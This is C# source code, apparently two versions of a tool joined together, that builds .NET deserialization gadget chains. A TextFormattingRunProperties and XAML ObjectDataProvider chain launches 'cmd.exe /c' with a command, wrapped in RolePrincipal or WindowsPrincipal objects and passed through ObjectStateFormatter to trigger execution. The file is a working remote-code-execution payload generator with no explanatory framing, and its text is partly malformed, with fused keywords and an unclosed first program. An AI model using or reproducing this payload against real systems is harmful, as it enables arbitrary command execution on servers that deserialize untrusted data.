using Microsoft.VisualStudio.Text.Formatting; using System; using System.Collections.Generic; using System.Collections.Specialized; using System.Diagnostics; using System.IO; using System.Linq; using System.Reflection; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; using System.Security.Claims; using System.Text; using System.Threading.Tasks; using System.Web.UI; using System.Windows.Data; using System.Windows.Markup;
namespaceObjectStateFormatterSerialize { classProgram { staticvoidMain(string[] args) { TextFormattingRunPropertiesMarshal calc = new TextFormattingRunPropertiesMarshal("calc"); string b64payload; using (MemoryStream m = new MemoryStream()) { BinaryFormatter binaryFormatter = new BinaryFormatter(); binaryFormatter.Serialize(m, calc); b64payload = Convert.ToBase64String(m.ToArray()); } RolePrincipalMarshal rolePrincipalMarshal = new RolePrincipalMarshal(b64payload); ObjectStateFormatter objectStateFormatter = new ObjectStateFormatter(); string p = objectStateFormatter.Serialize(rolePrincipalMarshal); objectStateFormatter.Deserialize(p); }
using Microsoft.VisualStudio.Text.Formatting; using System; using System.Collections.Specialized; using System.Diagnostics; using System.Reflection; using System.Runtime.Serialization; using System.Security.Claims; using System.Security.Principal; using System.Web.UI; using System.Windows.Data; using System.Windows.Markup;
namespace ObjectStateFormatterSerialize { class Program { static void Main(string[] args) { // WindowsIdentity currentWI = WindowsIdentity.GetCurrent(); // currentWI.Actor = new ClaimsIdentity(); // currentWI.Actor.BootstrapContext = new TextFormattingRunPropertiesMarshal("calc"); // WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal(); // obj.wi = currentWI; // string v = new ObjectStateFormatter().Serialize(obj); // new ObjectStateFormatter().Deserialize(v); WindowsIdentity currentWI = WindowsIdentity.GetCurrent(); currentWI.BootstrapContext= new TextFormattingRunPropertiesMarshal("calc"); WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal(); obj.wi = currentWI; string v = new ObjectStateFormatter().Serialize(obj); new ObjectStateFormatter().Deserialize(v); }
} [Serializable] public class WindowsPrincipalMarshal : ISerializable { public WindowsPrincipalMarshal() { } public WindowsIdentity wi { get; set; } public void GetObjectData(SerializationInfo info, StreamingContext context) { info.SetType(typeof(WindowsPrincipal)); info.AddValue("m_identity", wi); } }
[Serializable] public class TextFormattingRunPropertiesMarshal : ISerializable { protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { } string _xaml; public void GetObjectData(SerializationInfo info, StreamingContext context) { Type typeTFRP = typeof(TextFormattingRunProperties); info.SetType(typeTFRP); info.AddValue("ForegroundBrush", _xaml); } public TextFormattingRunPropertiesMarshal(string cmd) { // ObjectDataProvider ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = $"/c {cmd}"; StringDictionary dict = new StringDictionary(); psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); Process p = new Process(); p.StartInfo = psi; ObjectDataProvider odp = new ObjectDataProvider(); odp.MethodName = "Start"; odp.IsInitialLoadEnabled = false; odp.ObjectInstance = p; _xaml = XamlWriter.Save(odp); } } }